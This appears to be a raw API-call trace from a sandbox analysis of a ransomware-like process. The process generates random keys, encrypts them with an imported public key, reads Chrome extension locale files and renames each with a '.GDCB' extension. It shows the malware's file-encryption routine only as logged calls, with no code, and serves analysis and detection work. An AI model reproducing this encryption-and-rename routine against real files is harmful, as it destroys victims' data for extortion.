CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.828] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.829] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.831] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791c20) returned 1 [0258.831] CryptGetKeyParam (in: hKey=0x6791c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.831] CryptEncrypt (in: hKey=0x6791c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.831] GetLastError () returned 0x0 [0258.831] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.831] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.833] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791f20) returned 1 [0258.833] CryptGetKeyParam (in: hKey=0x6791f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.833] CryptEncrypt (in: hKey=0x6791f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.834] GetLastError () returned 0x0 [0258.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.834] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.835] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.839] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.841] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x159, lpOverlapped=0x0) returned 1 [0258.850] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.864] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0258.869] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.874] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.874] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.874] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.875] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.880] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.880] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.880] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.881] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.883] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791960) returned 1 [0258.883] CryptGetKeyParam (in: hKey=0x6791960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.883] CryptEncrypt (in: hKey=0x6791960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.884] GetLastError () returned 0x0 [0258.884] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.884] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.886] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791c60) returned 1 [0258.886] CryptGetKeyParam (in: hKey=0x6791c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.886] CryptEncrypt (in: hKey=0x6791c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.886] GetLastError () returned 0x0 [0258.886] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.886] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.888] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.891] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.894] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x107, lpOverlapped=0x0) returned 1 [0258.902] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.909] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.gdcb")) returned 1 [0258.914] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.921] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.921] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.921] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.925] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.925] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.926] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.928] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791b20) returned 1 [0258.928] CryptGetKeyParam (in: hKey=0x6791b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.928] CryptEncrypt (in: hKey=0x6791b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.928] GetLastError () returned 0x0 [0258.928] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.928] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.930] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791ce0) returned 1 [0258.930] CryptGetKeyParam (in: hKey=0x6791ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.930] CryptEncrypt (in: hKey=0x6791ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.930] GetLastError () returned 0x0 [0258.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.932] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.935] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.937] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x108, lpOverlapped=0x0) returned 1 [0258.946] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.953] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0258.958] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.963] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.964] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.964] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.969] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.969] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.969] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.969] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.971] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791ca0) returned 1 [0258.972] CryptGetKeyParam (in: hKey=0x6791ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.972] CryptEncrypt (in: hKey=0x6791ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.972] GetLastError () returned 0x0 [0258.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.972] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.974] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791f60) returned 1 [0258.974] CryptGetKeyParam (in: hKey=0x6791f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.974] CryptEncrypt (in: hKey=0x6791f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.974] GetLastError () returned 0x0 [0258.974] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.975] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.978] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.980] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x105, lpOverlapped=0x0) returned 1 [0258.989] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.996] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0259.001] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0259.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.007] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.007] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.007] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.007] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.013] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.015] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791aa0) returned 1 [0259.015] CryptGetKeyParam (in: hKey=0x6791aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.015] CryptEncrypt (in: hKey=0x6791aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.015] GetLastError () returned 0x0 [0259.015] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.015] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.017] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792760) returned 1 [0259.017] CryptGetKeyParam (in: hKey=0x6792760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.017] CryptEncrypt (in: hKey=0x6792760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.018] GetLastError () returned 0x0 [0259.018] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.019] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.022] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.024] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x102, lpOverlapped=0x0) returned 1 [0259.033] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.041] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0259.046] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.051] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.051] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.052] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.057] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.057] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 